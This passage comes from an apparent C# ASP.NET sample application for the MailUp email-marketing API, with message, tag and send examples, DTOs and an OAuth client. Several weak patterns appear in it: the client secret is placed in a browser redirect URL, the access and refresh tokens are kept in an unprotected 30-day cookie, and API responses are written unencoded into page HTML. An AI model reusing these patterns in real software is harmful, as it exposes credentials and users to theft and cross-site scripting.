apiUrl = "/Console/List/" + mailUp.ListId + "/Email/Template/" + templateId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
items = (Dictionary<String, Object>)objResult;
int emailId = int.Parse(items["idMessage"].ToString());
// status += String.Format("<p>Create the new message<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "Create the new message";
pExampleResultBlock4String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Request for messages list
resourceURL = "" + mailUp.ConsoleEndpoint + "/Console/List/" + mailUp.ListId + "/Emails";
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Request for messages list<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Request for messages list";
pExampleResultBlock4String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), resourceURL, "", strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock4String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock4String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 5 - CREATE A MESSAGE WITH IMAGES AND ATTACHMENTS
protected void RunExample5_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
byte[] imageBytes = System.IO.File.ReadAllBytes(HttpRuntime.AppDomainAppPath + @"Images\mailup-logo.png");
String image = System.Convert.ToBase64String(imageBytes);
apiUrl = "/Console/List/" + mailUp.ListId + "/Images";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
String imageRequest = "{\"Base64Data\":\"" + image + "\",\"Name\":\"Avatar\"}";
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
imageRequest,
MailUp.ContentType.Json);
// status += String.Format("<p>Upload an image<br/>{0} {1} - OK</p>", httpMethods.PUT.ToString(), resourceURL);
responseMessage = "Upload an image";
pExampleResultBlock5String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.PUT.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, image, strResult);
// Get the images available
apiUrl = "/Console/Images";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
String imgSrc = "";
Object[] srcs = (Object[])objResult;
if (srcs.Length > 0) imgSrc = srcs[0].ToString();
// status += String.Format("<p>Get the images available<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Get the images available";
pExampleResultBlock5String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Create and save "hello" message
String message = "<html><body><p>Hello</p><img src=\\\"" + imgSrc + "\\\"/></body></html>";
message = "<html><body><p>Hello</p><img src=\"" + imgSrc + "\" /></body></html>";
apiUrl = "/Console/List/" + mailUp.ListId + "/Email";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
EmailMessageItemDTO dto = new EmailMessageItemDTO();
dto.Subject = "Test Message c#";
dto.idList = 1;
dto.Content = message;
dto.Embed = true;
dto.IsConfirmation = true;
dto.Fields = new List<EmailDynamicFieldDTO>();
dto.Notes = "Some notes";
dto.Tags = new List<EmailTagDTO>();
dto.TrackingInfo = new EmailTrackingInfoDTO()
{
CustomParams = "",
Enabled = true,
Protocols = new List<String>() { "http" }
};
JavaScriptSerializer ser = new JavaScriptSerializer();
String emailRequest = ser.Serialize(dto);
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
emailRequest,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
items = (Dictionary<String, Object>)objResult;
Dictionary<String, Object> template = (Dictionary<String, Object>)objResult;
var emailId = template["idMessage"];
Session["emailId"] = emailId;
// status += String.Format("<p>Create and save \"hello\" message<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "Create and save \"hello\" message";
pExampleResultBlock5String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, emailRequest, strResult);
// Add an attachment
apiUrl = "/Console/List/" + mailUp.ListId + "/Email/" + emailId + "/Attachment/1";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
String attachment = "QmFzZSA2NCBTdHJlYW0="; // Base64 String
String attachmentRequest = "{\"Base64Data\":\"" + attachment + "\",\"Name\":\"TestFile.txt\",\"Slot\":1,\"idList\":1,\"idMessage\":" + emailId + "}";
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
attachmentRequest,
MailUp.ContentType.Json);
// status += String.Format("<p>Add an attachment<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "Add an attachment";
pExampleResultBlock5String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, attachmentRequest, strResult);
// Retreive message details
apiUrl = "/Console/List/" + mailUp.ListId + "/Email/" + emailId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Retreive message details<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Retreive message details";
pExampleResultBlock5String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock5String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock5String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 6 - TAG A MESSAGE
protected void RunExample6_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
String requestMessage = "\"test tag\"";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Create a new tag
apiUrl = "/Console/List/" + mailUp.ListId + "/Tag";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
requestMessage,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
Object[] tags;
Dictionary<String, Object> tag = (Dictionary<String, Object>)objResult;
int tagId = int.Parse(tag["Id"].ToString());
// status += String.Format("<p>Create a new tag<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "Create a new tag";
pExampleResultBlock6String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, requestMessage, strResult);
// Pick up a message and retrieve detailed informations
int emailId = -1;
if (Session["emailId"] != null) emailId = (int)Session["emailId"];
apiUrl = "/Console/List/" + mailUp.ListId + "/Email/" + emailId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Pick up a message and retrieve detailed informations<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Pick up a message and retrieve detailed informations";
pExampleResultBlock6String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Add the tag to the message details and save
Dictionary<String, Object> objEmail = (Dictionary<String, Object>)objResult;
tags = (Object[])objEmail["Tags"];
List<Object> al = new List<Object>(tags);
Dictionary<String, Object> tagItem = new Dictionary<String, Object>();
tagItem["Id"] = tagId;
tagItem["Enabled"] = true;
tagItem["Name"] = "test tag";
al.Add(tagItem);
objEmail["Tags"] = al.ToArray();
String emailUpdateRequest = new JavaScriptSerializer().Serialize(objEmail);
apiUrl = "/Console/List/" + mailUp.ListId + "/Email/" + emailId;
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.PUT.ToString(),
emailUpdateRequest,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
// status += String.Format("<p>Add the tag to the message details and save<br/>{0} {1} - OK</p>", httpMethods.PUT.ToString(), resourceURL);
responseMessage = "Add the tag to the message details and save";
pExampleResultBlock6String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.PUT.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, emailUpdateRequest, strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock6String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock6String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 7 - SEND A MESSAGE
protected void RunExample7_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
Object objResult;
Dictionary<String, Object> items = new Dictionary<String, Object>();
// Get the list of the existing messages
apiUrl = "/Console/List/" + mailUp.ListId + "/Emails";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
objResult = new JavaScriptSerializer().DeserializeObject(strResult);
items = (Dictionary<String, Object>)objResult;
Object[] emails = (Object[])items["Items"];
Dictionary<String, Object> email = (Dictionary<String, Object>)emails[0];
int emailId = int.Parse(email["idMessage"].ToString());
Session["emailId"] = emailId;
// status += String.Format("<p>Get the list of the existing messages<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Get the list of the existing messages";
pExampleResultBlock7String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// Send email to all recipients in the list
apiUrl = "/Console/List/" + mailUp.ListId + "/Email/" + emailId + "/Send";
resourceURL = "" + mailUp.ConsoleEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.POST.ToString(),
null,
MailUp.ContentType.Json);
// status += String.Format("<p>Send email to all recipients in the list<br/>{0} {1} - OK</p>", httpMethods.POST.ToString(), resourceURL);
responseMessage = "Send email to all recipients in the list";
pExampleResultBlock7String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.POST.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock7String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock7String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
// EXAMPLE 8 - DISPLAY STATISTICS FOR A MESSAGE SENT AT EXAMPLE 7
protected void RunExample8_ServerClick(object sender, EventArgs e)
{
String status = "";
String responseMessage = "";
MailUp.MailUpClient mailUp = (MailUp.MailUpClient)Session["MailUpClient"];
try
{
if (mailUp != null)
{
// List ID = 1 is used in all example calls
String resourceURL = "";
String apiUrl = "";
String strResult = "";
// Request (to MailStatisticsService.svc) for paged message views list for the previously sent message
int hours = 4;
int emailId = -1;
if (Session["emailId"] != null) emailId = (int)Session["emailId"];
apiUrl = "/Message/" + emailId + "/List/Views?pageSize=5&pageNum=0";
resourceURL = "" + mailUp.MailstatisticsEndpoint + apiUrl;
strResult = mailUp.CallMethod(resourceURL,
httpMethods.GET.ToString(),
null,
MailUp.ContentType.Json);
// status += String.Format("<p>Request (to MailStatisticsService.svc) for paged message views list for the previously sent message<br/>{0} {1} - OK</p>", httpMethods.GET.ToString(), resourceURL);
responseMessage = "Request (to MailStatisticsService.svc) for paged message views list for the previously sent message";
pExampleResultBlock8String.InnerHtml += String.Format(resultBlock, responseMessage, httpMethods.GET.ToString(), contentType.JSON.ToString(), endPotint.Console.ToString(), apiUrl, "", strResult);
// status += "<p>Example methods completed successfully</p>";
pExampleResultBlock8String.InnerHtml += String.Format(successfullyAnswer, "Example methods completed successfully");
}
}
catch (MailUp.MailUpException ex)
{
// status += "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode + "<br/>";
pExampleResultBlock8String.InnerHtml += String.Format(errorAnswer, "Exception: " + ex.Message + " with HTTP Status code: " + ex.StatusCode);
}
}
}
}
<file_sep>/MailUpExample/Entity/EmailMessageItemDTO.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace MailUpExample.Entity
{
public class EmailMessageItemDTO
{
public Int32 idList { get; set; }
public Int32 idNL { get; set; }
public String Subject { get; set; }
public String Notes { get; set; }
public String Content { get; set; }
public List<EmailDynamicFieldDTO> Fields { get; set; }
public List<EmailTagDTO> Tags { get; set; }
public Boolean Embed { get; set; }
public Boolean IsConfirmation { get; set; }
public EmailTrackingInfoDTO TrackingInfo = new EmailTrackingInfoDTO();
public String Head { get; set; }
private String _body;
public String Body
{
get { return _body; }
set { _body = value; }
}
public EmailMessageItemDTO()
{
_body = "<body>";
}
}
}<file_sep>/MailUpExample/Entity/DynamicFieldDTO.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace MailUpExample.Entity
{
public class DynamicFieldDTO
{
public Int32 Id { get; set; }
public String Description { get; set; }
}
}<file_sep>/MailUpExample/MailUp/MailUpClient.cs
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net;
using System.IO;
using System.Web;
namespace MailUp
{
public enum ContentType
{
Json,
Xml
}
public class MailUpException : Exception
{
private int statusCode;
public int StatusCode
{
set { statusCode = value; }
get { return statusCode; }
}
public MailUpException(int statusCode, String message) : base(message)
{
this.StatusCode = statusCode;
}
}
public partial class MailUpClient
{
private String logonEndpoint = "https://services.mailup.com/Authorization/OAuth/LogOn";
public String LogonEndpoint
{
get { return logonEndpoint; }
set { logonEndpoint = value; }
}
private String authorizationEndpoint = "https://services.mailup.com/Authorization/OAuth/Authorization";
public String AuthorizationEndpoint
{
get { return authorizationEndpoint; }
set { authorizationEndpoint = value; }
}
private String tokenEndpoint = "https://services.mailup.com/Authorization/OAuth/Token";
public String TokenEndpoint
{
get { return tokenEndpoint; }
set { tokenEndpoint = value; }
}
private String consoleEndpoint = "https://services.mailup.com/API/v1.1/Rest/ConsoleService.svc";
public String ConsoleEndpoint
{
get { return consoleEndpoint; }
set { consoleEndpoint = value; }
}
private String mailstatisticsEndpoint = "https://services.mailup.com/API/v1.1/Rest/MailStatisticsService.svc";
public String MailstatisticsEndpoint
{
get { return mailstatisticsEndpoint; }
set { mailstatisticsEndpoint = value; }
}
private String clientId;
public String ClientId
{
set { clientId = value; }
get { return clientId; }
}
private String clientSecret;
public String ClientSecret
{
set { clientSecret = value; }
get { return clientSecret; }
}
private String callbackUri;
public String CallbackUri
{
set { callbackUri = value; }
get { return callbackUri; }
}
private String listId;
public String ListId
{
set { listId = value; }
get { return listId; }
}
private String accessToken;
public String AccessToken
{
set { accessToken = value; }
get { return accessToken; }
}
private String refreshToken;
public String RefreshToken
{
set { refreshToken = value; }
get { return refreshToken; }
}
private String expirationTime;
public String ExpirationTime
{
set { expirationTime = value; }
get { return expirationTime; }
}
public MailUpClient(String clientId, String clientSecret, String callbackUri, String listId)
{
this.clientId = clientId;
this.clientSecret = clientSecret;
this.callbackUri = callbackUri;
this.listId = listId;
LoadToken();
}
public String GetLogOnUri()
{
String url = logonEndpoint + "?client_id=" + clientId + "&client_secret=" + clientSecret + "&response_type=code&redirect_uri=" + callbackUri;
return url;
}
public void LogOn()
{
String url = GetLogOnUri();
HttpContext.Current.Response.Redirect(url);
}
public void LogOnWithUsernamePassword(String username,String password)
{
this.RetreiveAccessToken(username, password);
}
public String RetreiveAccessToken(String code)
{
int statusCode = 0;
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
HttpWebRequest wrLogon = (HttpWebRequest)WebRequest.Create(tokenEndpoint + "?code=" + code + "&grant_type=authorization_code");
wrLogon.AllowAutoRedirect = false;
wrLogon.KeepAlive = true;
HttpWebResponse retreiveResponse = (HttpWebResponse)wrLogon.GetResponse();
statusCode = (int)retreiveResponse.StatusCode;
Stream objStream = retreiveResponse.GetResponseStream();
StreamReader objReader = new StreamReader(objStream);
String json = objReader.ReadToEnd();
retreiveResponse.Close();
ExtractTokensFromJson(json);
SaveToken();
}
catch (WebException wex)
{
HttpWebResponse wrs = (HttpWebResponse)wex.Response;
throw new MailUpException((int)wrs.StatusCode, wex.Message);
}
catch (Exception ex)
{
throw new MailUpException(statusCode, ex.Message);
}
return accessToken;
}
public String RetreiveAccessToken(String login, String password)
{
int statusCode = 0;
try
{
CookieContainer cookies = new CookieContainer();
String body = "client_id=" + clientId + "&client_secret=" + clientSecret + "&grant_type=password&username="
+ Uri.EscapeDataString(login) + "&password=" + Uri.EscapeDataString(password);
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
HttpWebRequest wrLogon = (HttpWebRequest)WebRequest.Create(tokenEndpoint);
wrLogon.CookieContainer = cookies;
wrLogon.AllowAutoRedirect = false;
wrLogon.KeepAlive = true;
wrLogon.Method = "POST";
wrLogon.ContentType = "application/x-www-form-urlencoded";
String auth = String.Format("{0}:{1}",this.clientId,this.clientSecret);
wrLogon.Headers["Authorization"] = "Basic "+ Convert.ToBase64String(ASCIIEncoding.ASCII.GetBytes(auth));
byte[] byteArray = Encoding.UTF8.GetBytes(body);
wrLogon.ContentLength = byteArray.Length;
Stream dataStream = wrLogon.GetRequestStream();
dataStream.Write(byteArray, 0, byteArray.Length);
dataStream.Close();
HttpWebResponse tokenResponse = (HttpWebResponse)wrLogon.GetResponse();
statusCode = (int)tokenResponse.StatusCode;
Stream objStream = tokenResponse.GetResponseStream();
StreamReader objReader = new StreamReader(objStream);
String json = objReader.ReadToEnd();
tokenResponse.Close();
ExtractTokensFromJson(json);
SaveToken();
}
catch (WebException wex)
{
HttpWebResponse wrs = (HttpWebResponse)wex.Response;
throw new MailUpException((int)wrs.StatusCode, wex.Message);
}
catch (Exception ex)
{
throw new MailUpException(statusCode, ex.Message);
}
return accessToken;
}
public String RefreshAccessToken()
{
int statusCode = 0;
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
HttpWebRequest wrLogon = (HttpWebRequest)WebRequest.Create(tokenEndpoint);
wrLogon.AllowAutoRedirect = false;
wrLogon.KeepAlive = true;
wrLogon.Method = "POST";
wrLogon.ContentType = "application/x-www-form-urlencoded";
String body = "client_id=" + clientId + "&client_secret=" + clientSecret +
"&refresh_token=" + refreshToken + "&grant_type=refresh_token";
byte[] byteArray = Encoding.UTF8.GetBytes(body);
wrLogon.ContentLength = byteArray.Length;
Stream dataStream = wrLogon.GetRequestStream();
dataStream.Write(byteArray, 0, byteArray.Length);
dataStream.Close();
HttpWebResponse refreshResponse = (HttpWebResponse)wrLogon.GetResponse();
statusCode = (int)refreshResponse.StatusCode;
Stream objStream = refreshResponse.GetResponseStream();
StreamReader objReader = new StreamReader(objStream);
String json = objReader.ReadToEnd();
refreshResponse.Close();
ExtractTokensFromJson(json);
SaveToken();
}
catch (WebException wex)
{
HttpWebResponse wrs = (HttpWebResponse)wex.Response;
throw new MailUpException((int)wrs.StatusCode, wex.Message);
}
catch (Exception ex)
{
throw new MailUpException(statusCode, ex.Message);
}
return accessToken;
}
public String CallMethod(String url, String verb, String body, ContentType contentType = ContentType.Json)
{
return CallMethod(url, verb, body, contentType, true);
}
private String CallMethod(String url, String verb, String body, ContentType contentType = ContentType.Json, bool refresh = true)
{
String result = "";
HttpWebResponse callResponse = null;
int statusCode = 0;
try
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
HttpWebRequest wrLogon = (HttpWebRequest)WebRequest.Create(url);
wrLogon.AllowAutoRedirect = false;
wrLogon.KeepAlive = true;
wrLogon.Method = verb;
wrLogon.ContentType = GetContentTypeString(contentType);
wrLogon.ContentLength = 0;
wrLogon.Accept = GetContentTypeString(contentType);
wrLogon.Headers.Add("Authorization", "Bearer " + accessToken);
if (body != null && body != "")
{
byte[] byteArray = Encoding.UTF8.GetBytes(body);
wrLogon.ContentLength = byteArray.Length;
Stream dataStream = wrLogon.GetRequestStream();
dataStream.Write(byteArray, 0, byteArray.Length);
dataStream.Close();
}
callResponse = (HttpWebResponse)wrLogon.GetResponse();
statusCode = (int)callResponse.StatusCode;
Stream objStream = callResponse.GetResponseStream();
StreamReader objReader = new StreamReader(objStream);
result = objReader.ReadToEnd();
callResponse.Close();
}
catch (WebException wex)
{
try
{
HttpWebResponse wrs = (HttpWebResponse)wex.Response;
if ((int)wrs.StatusCode == 401 && refresh)
{
RefreshAccessToken();
return CallMethod(url, verb, body, contentType, false);
}
else throw new MailUpException((int)wrs.StatusCode, wex.Message);
}
catch (Exception ex)
{
throw new MailUpException(statusCode, ex.Message);
}
}
catch (Exception ex)
{
throw new MailUpException(statusCode, ex.Message);
}
return result;
}
private String ExtractJsonValue(String json, String name)
{
String delim = "\"" + name + "\":";
int start = json.IndexOf(delim) + delim.Length;
int end1 = json.IndexOf("\"", start + 1);
if (end1 < 0) end1 = 100000;
int end2 = json.IndexOf(",", start + 1);
if (end2 < 0) end2 = 100000;
int end3 = json.IndexOf("}", start + 1);
int end = Math.Min(Math.Min(end1, end2), end3);
if (end > start && start > -1 && end > -1)
{
String result = json.Substring(start, end - start);
if (result.StartsWith("\""))
{
return json.Substring(start + 1, end - start - 1);
}
else
{
return result;
}
}
else
{
return "";
}
}
private String GetContentTypeString(ContentType cType)
{
if (cType == ContentType.Json) return "application/json";
else return "application/xml";
}
public virtual void LoadToken()
{
HttpCookie cookie = HttpContext.Current.Request.Cookies["MailUpCookie"];
if (cookie != null)
{
if (!String.IsNullOrEmpty(cookie.Values["access_token"]))
{
accessToken = cookie.Values["access_token"].ToString();
}
if (!String.IsNullOrEmpty(cookie.Values["refresh_token"]))
{
refreshToken = cookie.Values["refresh_token"].ToString();
}
if (!String.IsNullOrEmpty(cookie.Values["expires_in"]))
{
expirationTime = cookie.Values["expires_in"].ToString();
}
}
}
public virtual void SaveToken()
{
HttpCookie cookie = new HttpCookie("MailUpCookie");
cookie.Values.Add("access_token", accessToken);
cookie.Values.Add("refresh_token", refreshToken);
cookie.Values.Add("expires_in", expirationTime);
cookie.Expires = DateTime.Now.AddDays(30);
HttpContext.Current.Response.Cookies.Add(cookie);
}
public Int64 ToUnixTime(DateTime date)
{
var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Local);
return Convert.ToInt64((date.ToUniversalTime() - epoch).TotalSeconds);
}
public void ExtractTokensFromJson(String json)
{
accessToken = ExtractJsonValue(json, "access_token");
refreshToken = ExtractJsonValue(json, "refresh_token");
int exp = Convert.ToInt32(ExtractJsonValue(json, "expires_in"));
expirationTime = ToUnixTime(DateTime.Now.AddSeconds(exp)).ToString();
}
}
}
<file_sep>/MailUpExample/Entity/EmailTrackingInfoDTO.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
namespace MailUpExample.Entity
{
public class EmailTrackingInfoDTO
{
public Boolean Enabled { get; set; }
public List<String> Protocols { get; set; }
public String CustomParams { get; set; }
public String ProtocolsToString()
{
String ret = "";
for (Int32 p = 0; p < Protocols.Count; p++)
{
String curProtocol = Protocols[p];
ret += "" + curProtocol.Replace(":", "") + ":";
if (p < (Protocols.Count - 1))
{
ret += "|";
}
}
return ret;
}
public String CustomParamsToString()
{
String ret = "";
if (!String.IsNullOrEmpty(CustomParams))
{
if (CustomParams.StartsWith("?"))
ret = CustomParams.Substring(1);
else
ret = CustomParams;
}
return ret;
}
}
}<file_sep>/MailUpExample/Scripts/script.js
var divRes1Name = "MainContent_pExampleResultBlock1String";
var divRes2Name = "MainContent_pExampleResultBlock2String";
var divRes3Name = "MainContent_pExampleResultBlock3String";
var divRes4Name = "MainContent_pExampleResultBlock4String";
var divRes5Name = "MainContent_pExampleResultBlock5String";
var divRes6Name = "MainContent_pExampleResultBlock6String";
var divRes7Name = "MainContent_pExampleResultBlock7String";
var divRes8Name = "MainContent_pExampleResultBlock8String";
var resArr = [divRes1Name, divRes2Name, divRes3Name, divRes4Name, divRes5Name, divRes6Name, divRes7Name, divRes8Name];
$(function () {
$('.spoiler-body').hide(300);
$(document).on('click', '.spoiler-head', function (e) {
e.preventDefault()
$(this).parents('.spoiler-wrap').toggleClass("active").find('.spoiler-body').slideToggle();
})
})
function expandFilledBlock() {
resArr.forEach(function (element) {
if (document.getElementById(element).hasChildNodes()) {
console.log(element);
var parent = document.getElementById(element).parentNode.parentNode.parentNode;
parent.getElementsByTagName("a")[0].click();
setTimeout(function () {
$(parent)[0].scrollIntoView(true);
}, 100);
return;
}
});
}
setTimeout(function () {
expandFilledBlock();
}, 500);
function showTimer() {
// Set the date we're counting down to
var tokenIssueDate = document.getElementById("MainContent_pExpirationTime").innerHTML;
var countDownDate = new Date(tokenIssueDate * 1000).getTime();
// console.log(countDownDate);
// Update the count down every 1 second
var x = setInterval(function () {
// checkRefreshButton();
// Get todays date and time
var now = new Date().getTime();
// Find the distance between now and the count down date
var distance = countDownDate - now;
// Time calculations for days, hours, minutes and seconds
var days = Math.floor(distance / (1000 * 60 * 60 * 24));
var hours = Math.floor((distance % (1000 * 60 * 60 * 24)) / (1000 * 60 * 60));
var minutes = Math.floor((distance % (1000 * 60 * 60)) / (1000 * 60));
var seconds = Math.floor((distance % (1000 * 60)) / 1000);
// Output the result in an element with id="demo"
document.getElementById("expires-label").innerHTML = "Expires in";
document.getElementById("expires-in").innerHTML = minutes + "m " + seconds + "s ";
// If the count down is over, write some text
if (distance < 0) {
clearInterval(x);
var tokenLabel = document.getElementById("MainContent_pAuthorizationToken");
if (tokenLabel && tokenLabel.lenght > 0) {
document.getElementById("expires-label").innerHTML = "Expired";
document.getElementById("expires-in").innerHTML = "";
} else {
document.getElementById("expires-label").innerHTML = "";
document.getElementById("expires-in").innerHTML = "";
}
}
}, 1000);
}
<file_sep>/MailUpExample/Global.asax.cs
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using System.Web;
using System.Web.Security;
using System.Web.SessionState;
namespace MailUpExample
{
public class Global : System.Web.HttpApplication
{
void Application_Start(object sender, EventArgs e)
{
// Код, выполняемый при запуске приложения
}
void Application_End(object sender, EventArgs e)
{
// Код, выполняемый при завершении работы приложения
}
void Application_Error(object sender, EventArgs e)
{
// Код, выполняемый при возникновении необрабатываемой ошибки
}
void Session_Start(object sender, EventArgs e)
{
MailUp.MailUpClient APIClient = new MailUp.MailUpClient(ConfigurationManager.AppSettings["MailUpClientId"],
ConfigurationManager.AppSettings["MailUpClientSecret"],
ConfigurationManager.AppSettings["MailUpCallbackUri"],
ConfigurationManager.AppSettings["MailUpListId"]);
if (ConfigurationManager.AppSettings["MailUpConsoleEndpoint"] != null)
APIClient.ConsoleEndpoint = ConfigurationManager.AppSettings["MailUpConsoleEndpoint"];
if (ConfigurationManager.AppSettings["MailUpStatisticsEndpoint"] != null)
APIClient.MailstatisticsEndpoint = ConfigurationManager.AppSettings["MailUpStatisticsEndpoint"];
if(ConfigurationManager.AppSettings["MailUpLogon"] != null)
APIClient.LogonEndpoint = ConfigurationManager.AppSettings["MailUpLogon"];
if (ConfigurationManager.AppSettings["MailUpAuthorization"] != null)
APIClient.AuthorizationEndpoint = ConfigurationManager.AppSettings["MailUpAuthorization"];
if (ConfigurationManager.AppSettings["MailUpToken"] != null)
APIClient.TokenEndpoint = ConfigurationManager.AppSettings["MailUpToken"];
Session.Add("MailUpClient", APIClient);
}
void Session_End(object sender, EventArgs e)
{
// Код, выполняемый при запуске приложения.
